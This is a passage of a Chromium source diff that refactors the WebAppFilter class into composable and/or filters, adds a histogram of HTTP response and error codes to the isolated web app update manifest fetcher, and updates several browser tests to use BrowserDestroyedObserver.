     EXPECT_THAT(EvalJs(web_contents, "document.body.innerText").ExtractString(),
                 HasSubstr("This application is missing or damaged"));
 
+    ui_test_utils::BrowserDestroyedObserver observer(app_browser);
     app_browser->window()->Close();
-    ui_test_utils::WaitForBrowserToClose(app_browser);
+    observer.Wait();
   }
 
   // Apply a late update.
@@ -1700,8 +1869,9 @@
   }
 
   // Close the browser.
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   app_browser->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
 
   // Now an attempt to open the app should display the "missing or damaged"
   // page.
diff --git a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc
index 48bf681..bcffd8e 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update/isolated_web_app_update_manager_unittest.cc
@@ -251,7 +251,6 @@
     std::unique_ptr<ScopedBundledIsolatedWebApp> app =
         IsolatedWebAppBuilder(manifest).BuildBundle(
             GetIwa1WebBundleId(), {test::GetDefaultEd25519KeyPair()});
-    app->TrustSigningKey();
     app->FakeInstallPageState(profile());
     return app;
   }
@@ -262,7 +261,6 @@
         IsolatedWebAppBuilder(ManifestBuilder().SetVersion(version))
             .BuildBundle(GetIwa2WebBundleId(),
                          {test::GetDefaultEcdsaP256KeyPair()});
-    app->TrustSigningKey();
     app->FakeInstallPageState(profile());
     return app;
   }
diff --git a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.cc b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.cc
index 9b6f0c69..1313c21 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.cc
@@ -9,12 +9,14 @@
 
 #include "base/functional/callback.h"
 #include "base/json/json_reader.h"
+#include "base/metrics/histogram_functions.h"
 #include "base/types/expected.h"
 #include "chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest.h"
 #include "net/traffic_annotation/network_traffic_annotation.h"
 #include "services/network/public/cpp/resource_request.h"
 #include "services/network/public/cpp/shared_url_loader_factory.h"
 #include "services/network/public/cpp/simple_url_loader.h"
+#include "services/network/public/mojom/url_response_head.mojom.h"
 #include "url/gurl.h"
 
 namespace web_app {
@@ -30,10 +32,12 @@
 UpdateManifestFetcher::UpdateManifestFetcher(
     GURL url,
     net::PartialNetworkTrafficAnnotationTag partial_traffic_annotation,
-    scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory)
+    scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory,
+    bool report_histogram_manifest_result)
     : url_(std::move(url)),
       partial_traffic_annotation_(std::move(partial_traffic_annotation)),
-      url_loader_factory_(std::move(url_loader_factory)) {}
+      url_loader_factory_(std::move(url_loader_factory)),
+      report_histogram_manifest_result_(report_histogram_manifest_result) {}
 
 UpdateManifestFetcher::~UpdateManifestFetcher() = default;
 
@@ -90,8 +94,25 @@
 
 void UpdateManifestFetcher::OnUpdateManifestDownloaded(
     std::optional<std::string> update_manifest_content) {
-  // We may extract some information from the loader about
-  // downloading errors in the future.
+  if (report_histogram_manifest_result_) {
+    int error_or_http_response_code_ = 0;
+    if (simple_url_loader_->NetError() != net::OK &&
+        simple_url_loader_->NetError() != net::ERR_HTTP_RESPONSE_CODE_FAILURE) {
+      error_or_http_response_code_ = simple_url_loader_->NetError();
+    } else {
+      // According to the SimpleURLLoader contract,
+      // when net_error is net::OK or net::ERR_HTTP_RESPONSE_CODE_FAILURE.
+      // simple_url_loader_->ResponseInfo->headers should exist.
+      CHECK(simple_url_loader_->ResponseInfo());
+      CHECK(simple_url_loader_->ResponseInfo()->headers);
+      error_or_http_response_code_ =
+          simple_url_loader_->ResponseInfo()->headers->response_code();
+    }
+    base::UmaHistogramSparse(
+        "WebApp.Isolated.UpdateManifest.HttpResponseOrErrorCode",
+        error_or_http_response_code_);
+  }
+
   simple_url_loader_.reset();
 
   if (!update_manifest_content) {
diff --git a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.h b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.h
index a9f75b5..4c1bfd2 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.h
+++ b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher.h
@@ -36,10 +36,11 @@
   using FetchCallback =
       base::OnceCallback<void(base::expected<UpdateManifest, Error>)>;
 
-  explicit UpdateManifestFetcher(
+  UpdateManifestFetcher(
       GURL url,
       net::PartialNetworkTrafficAnnotationTag partial_traffic_annotation,
-      scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory);
+      scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory,
+      bool report_histogram_manifest_result = false);
 
   ~UpdateManifestFetcher();
 
@@ -57,6 +58,7 @@
   GURL url_;
   net::PartialNetworkTrafficAnnotationTag partial_traffic_annotation_;
   scoped_refptr<network::SharedURLLoaderFactory> url_loader_factory_;
+  bool report_histogram_manifest_result_;
 
   FetchCallback fetch_callback_;
 
diff --git a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher_unittest.cc b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher_unittest.cc
index 43c8d5f..e73152e3 100644
--- a/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher_unittest.cc
+++ b/chrome/browser/web_applications/isolated_web_apps/update_manifest/update_manifest_fetcher_unittest.cc
@@ -145,7 +145,7 @@
   auto update_manifest = future.Take();
 
   EXPECT_THAT(update_manifest,
-              ErrorIs(Eq(UpdateManifestFetcher::Error::kInvalidManifest)));
+              ErrorIs(UpdateManifestFetcher::Error::kInvalidManifest));
 }
 
 TEST_F(UpdateManifestFetcherTest, FailsWhenJsonIsInvalid) {
@@ -160,7 +160,7 @@
   auto update_manifest = future.Take();
 
   EXPECT_THAT(update_manifest,
-              ErrorIs(Eq(UpdateManifestFetcher::Error::kInvalidJson)));
+              ErrorIs(UpdateManifestFetcher::Error::kInvalidJson));
 }
 
 TEST_F(UpdateManifestFetcherTest, FailedDownload) {
@@ -175,7 +175,7 @@
   auto update_manifest = future.Take();
 
   EXPECT_THAT(update_manifest,
-              ErrorIs(Eq(UpdateManifestFetcher::Error::kDownloadFailed)));
+              ErrorIs(UpdateManifestFetcher::Error::kDownloadFailed));
 }
 
 }  // namespace
diff --git a/chrome/browser/web_applications/manifest_update_manager.cc b/chrome/browser/web_applications/manifest_update_manager.cc
index be718e08..c0c2ebf 100644
--- a/chrome/browser/web_applications/manifest_update_manager.cc
+++ b/chrome/browser/web_applications/manifest_update_manager.cc
@@ -238,7 +238,7 @@
 
   if (provider_->registrar_unsafe().AppMatches(
           GenerateAppIdFromManifest(*manifest),
-          WebAppFilter::IsIsolatedApp())) {
+          WebAppFilter::IsIsolatedApp() | WebAppFilter::IsIsolatedSubApp())) {
     return;
   }
   if (base::FeatureList::IsEnabled(blink::features::kWebAppMigrationApi) &&
diff --git a/chrome/browser/web_applications/navigation_capturing_settings_impl.cc b/chrome/browser/web_applications/navigation_capturing_settings_impl.cc
index aa3b2cbb..d599e56 100644
--- a/chrome/browser/web_applications/navigation_capturing_settings_impl.cc
+++ b/chrome/browser/web_applications/navigation_capturing_settings_impl.cc
@@ -27,8 +27,9 @@
       web_app::WebAppProvider::GetForWebApps(&profile_.get())
           ->registrar_unsafe();
   if (std::optional<webapps::AppId> iwa_id =
-          registrar.FindBestAppWithUrlInScope(url,
-                                              WebAppFilter::IsIsolatedApp())) {
+          registrar.FindBestAppWithUrlInScope(
+              url, WebAppFilter::IsIsolatedApp() |
+                       WebAppFilter::IsIsolatedSubApp())) {
     // IWA URLs are always captured.
     return *iwa_id;
   }
diff --git a/chrome/browser/web_applications/sampling_metrics_provider_browsertest.cc b/chrome/browser/web_applications/sampling_metrics_provider_browsertest.cc
index eff0b079..3ed37d78 100644
--- a/chrome/browser/web_applications/sampling_metrics_provider_browsertest.cc
+++ b/chrome/browser/web_applications/sampling_metrics_provider_browsertest.cc
@@ -33,10 +33,11 @@
 
   content::WebContentsDestroyedWatcher destroyed_watcher(
       app_browser->tab_strip_model()->GetWebContentsAt(0));
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   app_browser->tab_strip_model()->CloseAllTabs();
   destroyed_watcher.Wait();
 
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
 
   EXPECT_TRUE(measure_called);
 }
diff --git a/chrome/browser/web_applications/sampling_metrics_provider_interactive_uitest.cc b/chrome/browser/web_applications/sampling_metrics_provider_interactive_uitest.cc
index 38221cd0..0b6ac32 100644
--- a/chrome/browser/web_applications/sampling_metrics_provider_interactive_uitest.cc
+++ b/chrome/browser/web_applications/sampling_metrics_provider_interactive_uitest.cc
@@ -133,8 +133,9 @@
   CheckWebAppCount(/*web_app_count=*/1, /*is_active=*/true);
 
   // Close.
+  ui_test_utils::BrowserDestroyedObserver observer(app_browser);
   chrome::CloseWindow(app_browser);
-  ui_test_utils::WaitForBrowserToClose(app_browser);
+  observer.Wait();
   CheckWebAppCount(/*web_app_count=*/0, /*is_active=*/false);
 }
 
diff --git a/chrome/browser/web_applications/web_app_filter.cc b/chrome/browser/web_applications/web_app_filter.cc
index 3a7e5d69..1004f91c 100644
--- a/chrome/browser/web_applications/web_app_filter.cc
+++ b/chrome/browser/web_applications/web_app_filter.cc
@@ -4,182 +4,223 @@
 
 #include "chrome/browser/web_applications/web_app_filter.h"
 
+#include <utility>
+
 #include "base/check_is_test.h"
 
 namespace web_app {
 
-WebAppFilter::WebAppFilter() = default;
-WebAppFilter::WebAppFilter(const WebAppFilter&) = default;
-
 // static
 WebAppFilter WebAppFilter::OpensInBrowserTab() {
-  WebAppFilter filter;
-  filter.opens_in_browser_tab_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.opens_in_browser_tab = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::OpensInDedicatedWindow() {
-  WebAppFilter filter;
-  filter.opens_in_dedicated_window_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.opens_in_dedicated_window = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
-#if !BUILDFLAG(IS_CHROMEOS)
-WebAppFilter WebAppFilter::CapturesLinksInScope() {
-  WebAppFilter filter;
-  filter.captures_links_in_scope_ = true;
-  return filter;
-}
-#endif
-
-// static
 WebAppFilter WebAppFilter::IsIsolatedApp() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter = IsolatedWebAppFilter();
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsDevModeIsolatedApp() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{.must_be_in_dev_mode = true}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter = IsolatedWebAppFilter{.must_be_in_dev_mode = true};
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsIsolatedSubApp() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{.is_sub_app = true}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter = IsolatedWebAppFilter{.is_sub_app = true};
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::PolicyInstalledIsolatedWebApp() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{.must_be_policy_installed = true}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter =
+      IsolatedWebAppFilter{.must_be_policy_installed = true};
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::UserInstalledIsolatedWebApp() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{.must_be_user_installed = true}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter =
+      IsolatedWebAppFilter{.must_be_user_installed = true};
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsIsolatedWebAppWithOnlyUserManagement() {
-  WebAppFilter filter;
-  filter.isolated_app_filter_ = {{.must_have_no_external_management = true}};
-  return filter;
+  LeafFilter leaf;
+  leaf.isolated_app_filter =
+      IsolatedWebAppFilter{.must_have_no_external_management = true};
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsCraftedApp() {
-  WebAppFilter filter;
-  filter.is_crafted_app_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_crafted_app = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsCraftedAppAndOpensInDedicatedWindow() {
-  WebAppFilter filter;
-  filter.is_crafted_app_and_opens_in_dedicated_window_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_crafted_app_and_opens_in_dedicated_window = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsSuggestedApp() {
-  WebAppFilter filter;
-  filter.is_suggested_app_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_suggested_app = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::DisplaysBadgeOnOs() {
-  WebAppFilter filter;
-  filter.displays_badge_on_os_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.displays_badge_on_os = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::SupportsOsNotifications() {
-  WebAppFilter filter;
-  filter.supports_os_notifications_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.supports_os_notifications = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::InstalledInChrome() {
-  WebAppFilter filter;
-  filter.installed_in_chrome_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.installed_in_chrome = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::InstalledInOperatingSystemForTesting() {
   CHECK_IS_TEST();
-  WebAppFilter filter;
-  filter.installed_in_os_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.installed_in_os = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsDiyWithOsShortcut() {
-  WebAppFilter filter;
-  filter.is_diy_with_os_shortcut_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_diy_with_os_shortcut = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::LaunchableFromInstallApi() {
-  WebAppFilter filter;
-  filter.launchable_from_install_api_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.launchable_from_install_api = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsTrusted() {
-  WebAppFilter filter;
-  filter.is_app_trusted_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_app_trusted = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsIsolatedWebAppIncludingUninstalling() {
-  WebAppFilter filter;
-  filter.is_isolated_apps_including_uninstalling_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_isolated_apps_including_uninstalling = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsAppSuggestedForMigration() {
-  WebAppFilter filter;
-  filter.is_app_suggested_from_migration_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_app_suggested_from_migration = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsAppSurfaceableToUser() {
-  WebAppFilter filter;
-  filter.is_app_surfaceable_to_user_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_app_surfaceable_to_user = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsAppValidMigrationSource() {
-  WebAppFilter filter;
-  filter.is_valid_migration_source_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_valid_migration_source = true;
+  return WebAppFilter(std::move(leaf));
 }
 
 // static
 WebAppFilter WebAppFilter::IsAppEligibleForManifestUpdate() {
-  WebAppFilter filter;
-  filter.is_app_eligible_for_manifest_update_ = true;
-  return filter;
+  LeafFilter leaf;
+  leaf.is_app_eligible_for_manifest_update = true;
+  return WebAppFilter(std::move(leaf));
+}
+
+WebAppFilter::LeafFilter::LeafFilter() = default;
+WebAppFilter::LeafFilter::~LeafFilter() = default;
+WebAppFilter::LeafFilter::LeafFilter(const LeafFilter&) = default;
+WebAppFilter::LeafFilter::LeafFilter(LeafFilter&&) noexcept = default;
+WebAppFilter::LeafFilter& WebAppFilter::LeafFilter::operator=(
+    LeafFilter&&) noexcept = default;
+
+WebAppFilter::WebAppFilter(LeafFilter leaf) : data_(std::move(leaf)) {}
+
+WebAppFilter::WebAppFilter(WebAppFilter left,
+                           WebAppFilter right,
+                           BinaryOp::Op op)
+    : data_(BinaryOp(std::make_unique<WebAppFilter>(std::move(left)),
+                     std::make_unique<WebAppFilter>(std::move(right)),
+                     op)) {}
+
+WebAppFilter::BinaryOp::BinaryOp(std::unique_ptr<WebAppFilter> left,
+                                 std::unique_ptr<WebAppFilter> right,
+                                 Op op)
+    : left(std::move(left)), right(std::move(right)), op(op) {}
+
+WebAppFilter::BinaryOp::~BinaryOp() = default;
+
+WebAppFilter::BinaryOp::BinaryOp(const BinaryOp& other)
+    : left(std::make_unique<WebAppFilter>(*other.left)),
+      right(std::make_unique<WebAppFilter>(*other.right)),
+      op(other.op) {}
+
+WebAppFilter::BinaryOp::BinaryOp(BinaryOp&&) noexcept = default;
+
+WebAppFilter::BinaryOp& WebAppFilter::BinaryOp::operator=(BinaryOp&&) noexcept =
+    default;
+
+WebAppFilter::WebAppFilter(const WebAppFilter&) = default;
+WebAppFilter::WebAppFilter(WebAppFilter&&) noexcept = default;
+WebAppFilter& WebAppFilter::operator=(WebAppFilter&&) noexcept = default;
+WebAppFilter::~WebAppFilter() = default;
+
+WebAppFilter operator&(WebAppFilter lhs, WebAppFilter rhs) {
+  return WebAppFilter(std::move(lhs), std::move(rhs),
+                      WebAppFilter::BinaryOp::Op::kAnd);
+}
+
+WebAppFilter operator|(WebAppFilter lhs, WebAppFilter rhs) {
+  return WebAppFilter(std::move(lhs), std::move(rhs),
+                      WebAppFilter::BinaryOp::Op::kOr);
 }
 
 }  // namespace web_app
diff --git a/chrome/browser/web_applications/web_app_filter.h b/chrome/browser/web_applications/web_app_filter.h
index 76a7b2b..3638c97 100644
--- a/chrome/browser/web_applications/web_app_filter.h
+++ b/chrome/browser/web_applications/web_app_filter.h
@@ -5,7 +5,11 @@
 #ifndef CHROME_BROWSER_WEB_APPLICATIONS_WEB_APP_FILTER_H_
 #define CHROME_BROWSER_WEB_APPLICATIONS_WEB_APP_FILTER_H_
 
+#include <memory>
 #include <optional>
+#include <variant>
+
+#include "build/build_config.h"
 
 namespace web_app {
 
@@ -19,8 +23,6 @@
   // Only consider web apps whose effective display mode is a dedicated window
   // (essentially any display mode other than a browser tab).
   static WebAppFilter OpensInDedicatedWindow();
-  // Only consider web apps that capture links in scope.
-  static WebAppFilter CapturesLinksInScope();
   // Only consider isolated web apps, that are not scheduled for uninstallation,
   // like stub ones. To also consider stub apps, use
   // `IsIsolatedWebAppIncludingUninstalling()` instead.
@@ -96,14 +98,16 @@
   static WebAppFilter IsAppEligibleForManifestUpdate();
 
   WebAppFilter(const WebAppFilter&);
-  WebAppFilter& operator=(const WebAppFilter&) = default;
-  ~WebAppFilter() = default;
+  WebAppFilter(WebAppFilter&&) noexcept;
+  WebAppFilter& operator=(WebAppFilter&&) noexcept;
+  ~WebAppFilter();
+
+  friend WebAppFilter operator&(WebAppFilter lhs, WebAppFilter rhs);
+  friend WebAppFilter operator|(WebAppFilter lhs, WebAppFilter rhs);
 
  private:
   friend class WebAppRegistrar;
 
-  WebAppFilter();
-
   struct IsolatedWebAppFilter {
     bool must_be_in_dev_mode = false;
     bool must_be_user_installed = false;
@@ -112,34 +116,52 @@
     bool is_sub_app = false;
   };
 
-  bool opens_in_browser_tab_ = false;
-  bool opens_in_dedicated_window_ = false;
+  struct LeafFilter {
+    LeafFilter();
+    ~LeafFilter();
+    LeafFilter(const LeafFilter&);
+    LeafFilter(LeafFilter&&) noexcept;
+    LeafFilter& operator=(LeafFilter&&) noexcept;
 
-// ChromeOS stores the per-app capturing setting in PreferredAppsImpl, not here.
-#if !defined(IS_CHROMEOS)
-  bool captures_links_in_scope_ = false;
-#endif
+    bool opens_in_browser_tab = false;
+    bool opens_in_dedicated_window = false;
+    std::optional<IsolatedWebAppFilter> isolated_app_filter;
+    bool is_crafted_app = false;
+    bool is_suggested_app = false;
+    bool displays_badge_on_os = false;
+    bool supports_os_notifications = false;
+    bool installed_in_chrome = false;
+    bool installed_in_os = false;
+    bool is_diy_with_os_shortcut = false;
+    bool launchable_from_install_api = false;
+    bool is_crafted_app_and_opens_in_dedicated_window = false;
+    bool is_app_trusted = false;
+    bool is_isolated_apps_including_uninstalling = false;
+    bool is_app_suggested_from_migration = false;
+    bool is_app_surfaceable_to_user = false;
+    bool is_valid_migration_source = false;
+    bool is_app_eligible_for_manifest_update = false;
+  };
 
-  std::optional<IsolatedWebAppFilter> isolated_app_filter_;
-  bool is_crafted_app_ = false;
-  bool is_suggested_app_ = false;
-  bool displays_badge_on_os_ = false;
-  bool supports_os_notifications_ = false;
-  bool installed_in_chrome_ = false;
-  bool installed_in_os_ = false;
-  bool is_diy_with_os_shortcut_ = false;
-  bool launchable_from_install_api_ = false;
-  // Having is_crafted_app_ and opens_in_dedicated_window_ set to true
-  // separately would result in matching any app for which either filter is
-  // true. So use a separate field for the combination of the two. In the
-  // future we might want to have a more generic "and" mechanism for filters.
-  bool is_crafted_app_and_opens_in_dedicated_window_ = false;
-  bool is_app_trusted_ = false;
-  bool is_isolated_apps_including_uninstalling_ = false;
-  bool is_app_suggested_from_migration_ = false;
-  bool is_app_surfaceable_to_user_ = false;
-  bool is_valid_migration_source_ = false;
-  bool is_app_eligible_for_manifest_update_ = false;
+  struct BinaryOp {
+    enum class Op { kAnd, kOr };
+    BinaryOp(std::unique_ptr<WebAppFilter> left,
+             std::unique_ptr<WebAppFilter> right,
+             Op op);
+    ~BinaryOp();
+    BinaryOp(const BinaryOp&);
+    BinaryOp(BinaryOp&&) noexcept;
+    BinaryOp& operator=(BinaryOp&&) noexcept;
+
+    std::unique_ptr<WebAppFilter> left;
+    std::unique_ptr<WebAppFilter> right;
+    Op op;
+  };
+
+  explicit WebAppFilter(LeafFilter leaf);
+  WebAppFilter(WebAppFilter left, WebAppFilter right, BinaryOp::Op op);
+
+  std::variant<LeafFilter, BinaryOp> data_;
 };
 
 }  // namespace web_app
diff --git a/chrome/browser/web_applications/web_app_helpers.cc b/chrome/browser/web_applications/web_app_helpers.cc
index b4713e2..b07026a8 100644
--- a/chrome/browser/web_applications/web_app_helpers.cc
+++ b/chrome/browser/web_applications/web_app_helpers.cc
@@ -185,12 +185,14 @@
 }
 
 bool IsNonLocallyInstalledAppWithUrlInScope(Profile* profile, const GURL& url) {
-  auto* provider = WebAppProvider::GetForWebApps(profile);
-  return provider ? provider->registrar_unsafe()
-                        .FindBestAppWithUrlInScope(
-                            url, web_app::WebAppFilter::IsSuggestedApp())
-                        .has_value()
-                  : false;
+  if (auto* provider = WebAppProvider::GetForWebApps(profile)) {
+    FindBestAppInScopeOptions options(WebAppFilter::IsSuggestedApp());
+    options.eligibility_filter = WebAppFilter::IsAppSurfaceableToUser();
+    return provider->registrar_unsafe()
+        .FindBestAppWithUrlInScope(url, options)
+        .has_value();
+  }
+  return false;
 }
 
 bool LooksLikePlaceholder(const WebApp& app) {
diff --git a/chrome/browser/web_applications/web_app_registrar.cc b/chrome/browser/web_applications/web_app_registrar.cc
index 8714ef8..0ed98aaa 100644
--- a/chrome/browser/web_applications/web_app_registrar.cc
+++ b/chrome/browser/web_applications/web_app_registrar.cc
@@ -60,6 +60,7 @@
 #include "content/public/browser/storage_partition_config.h"
 #include "content/public/common/content_features.h"
 #include "services/network/public/cpp/permissions_policy/permissions_policy_declaration.h"
+#include "third_party/abseil-cpp/absl/functional/overload.h"
 #include "third_party/blink/public/common/features.h"
 #include "third_party/blink/public/common/manifest/manifest_util.h"
 #include "url/gurl.h"
@@ -262,6 +263,11 @@
   }
 }
 
+FindBestAppInScopeOptions::FindBestAppInScopeOptions(WebAppFilter filter)
+    : filter(std::move(filter)) {}
+
+FindBestAppInScopeOptions::~FindBestAppInScopeOptions() = default;
+
 WebAppRegistrar::WebAppRegistrar(Profile* profile) : profile_(profile) {}
 
 WebAppRegistrar::~WebAppRegistrar() {
@@ -990,7 +996,26 @@
 
 bool WebAppRegistrar::AppMatches(const webapps::AppId& app_id,
                                  const WebAppFilter& filter) const {
-  if (filter.is_isolated_apps_including_uninstalling_) {
+  return std::visit(
+      absl::Overload{[&](const WebAppFilter::LeafFilter& leaf) {
+                       return AppMatches(app_id, leaf);
+                     },
+                     [&](const WebAppFilter::BinaryOp& bin_op) {
+                       switch (bin_op.op) {
+                         case WebAppFilter::BinaryOp::Op::kAnd:
+                           return AppMatches(app_id, *bin_op.left) &&
+                                  AppMatches(app_id, *bin_op.right);
+                         case WebAppFilter::BinaryOp::Op::kOr:
+                           return AppMatches(app_id, *bin_op.left) ||
+                                  AppMatches(app_id, *bin_op.right);
+                       }
+                     }},
+      filter.data_);
+}
+
+bool WebAppRegistrar::AppMatches(const webapps::AppId& app_id,
+                                 const WebAppFilter::LeafFilter& filter) const {
+  if (filter.is_isolated_apps_including_uninstalling) {
     return IsIsolatedApp(app_id);
   }
 
@@ -1001,20 +1026,20 @@
     return false;
   }
 
-  if (filter.is_app_eligible_for_manifest_update_) {
+  if (filter.is_app_eligible_for_manifest_update) {
     return true;
   }
 
-  if (filter.is_app_surfaceable_to_user_) {
+  if (filter.is_app_surfaceable_to_user) {
     return install_state != proto::SUGGESTED_FROM_MIGRATION;
   }
 
   if (install_state == proto::SUGGESTED_FROM_MIGRATION) {
-    return filter.is_app_suggested_from_migration_;
+    return filter.is_app_suggested_from_migration;
   }
 
   if (install_state == proto::SUGGESTED_FROM_ANOTHER_DEVICE) {
-    return filter.is_suggested_app_;
+    return filter.is_suggested_app;
   }
 
   // If the `DisplayMode` of a web app is undefined for whatever reason, it
@@ -1022,21 +1047,15 @@
   DisplayMode display_mode = GetAppEffectiveDisplayMode(app_id);
   bool opens_in_browser_tab = display_mode == DisplayMode::kBrowser ||
                               display_mode == DisplayMode::kUndefined;
-  if (filter.opens_in_browser_tab_) {
+  if (filter.opens_in_browser_tab) {
     return opens_in_browser_tab;
   }
 
-  if (filter.opens_in_dedicated_window_) {
+  if (filter.opens_in_dedicated_window) {
     return !opens_in_browser_tab;
   }
 
-#if !BUILDFLAG(IS_CHROMEOS)
-  if (filter.captures_links_in_scope_) {
-    return CapturesLinksInScope(app_id);
-  }
-#endif
-
-  if (const auto& iwa_filter = filter.isolated_app_filter_) {
+  if (const auto& iwa_filter = filter.isolated_app_filter) {
     webapps::AppId iwa_app_id;
     if (IsIsolatedApp(app_id) && !iwa_filter->is_sub_app) {
       iwa_app_id = app_id;
@@ -1069,46 +1088,46 @@
     return matches;
   }
 
-  if (filter.is_crafted_app_) {
+  if (filter.is_crafted_app) {
     return !IsDiyApp(app_id);
   }
 
-  if (filter.is_crafted_app_and_opens_in_dedicated_window_) {
+  if (filter.is_crafted_app_and_opens_in_dedicated_window) {
     return !IsDiyApp(app_id) &&
            GetAppEffectiveDisplayMode(app_id) != DisplayMode::kBrowser;
   }
 
-  if (filter.is_diy_with_os_shortcut_) {
+  if (filter.is_diy_with_os_shortcut) {
     const WebApp* app = GetAppById(app_id);
     return app && app->is_diy_app() &&
            install_state == proto::INSTALLED_WITH_OS_INTEGRATION;
   }
 
-  if (filter.displays_badge_on_os_ || filter.supports_os_notifications_) {
+  if (filter.displays_badge_on_os || filter.supports_os_notifications) {
     return install_state == proto::INSTALLED_WITH_OS_INTEGRATION;
   }
 
-  if (filter.installed_in_chrome_) {
+  if (filter.installed_in_chrome) {
     return install_state == proto::INSTALLED_WITH_OS_INTEGRATION ||
            install_state == proto::INSTALLED_WITHOUT_OS_INTEGRATION;
   }
 
-  if (filter.installed_in_os_) {
+  if (filter.installed_in_os) {
     return install_state == proto::INSTALLED_WITH_OS_INTEGRATION;
   }
 
-  if (filter.launchable_from_install_api_) {
+  if (filter.launchable_from_install_api) {
     const WebApp* app = GetAppById(app_id);
     return (app && app->WasInstalledByUser()) ||
            GetAppEffectiveDisplayMode(app_id) != DisplayMode::kBrowser;
   }
 
-  if (filter.is_app_trusted_) {
+  if (filter.is_app_trusted) {
     const WebApp* app = GetAppById(app_id);
     return (app && app->WasInstalledByTrustedSources());
   }
 
-  if (filter.is_valid_migration_source_) {
+  if (filter.is_valid_migration_source) {
     return install_state == proto::INSTALLED_WITH_OS_INTEGRATION &&
            !IsInstalledByPolicy(app_id);
   }
@@ -1120,6 +1139,14 @@
     const GURL& url,
     const WebAppFilter& filter,
     WebAppScopeScoreOptions scope_score_options) const {
+  FindBestAppInScopeOptions options(filter);
+  options.scope_score_options = std::move(scope_score_options);
+  return FindBestAppWithUrlInScope(url, options);
+}
+
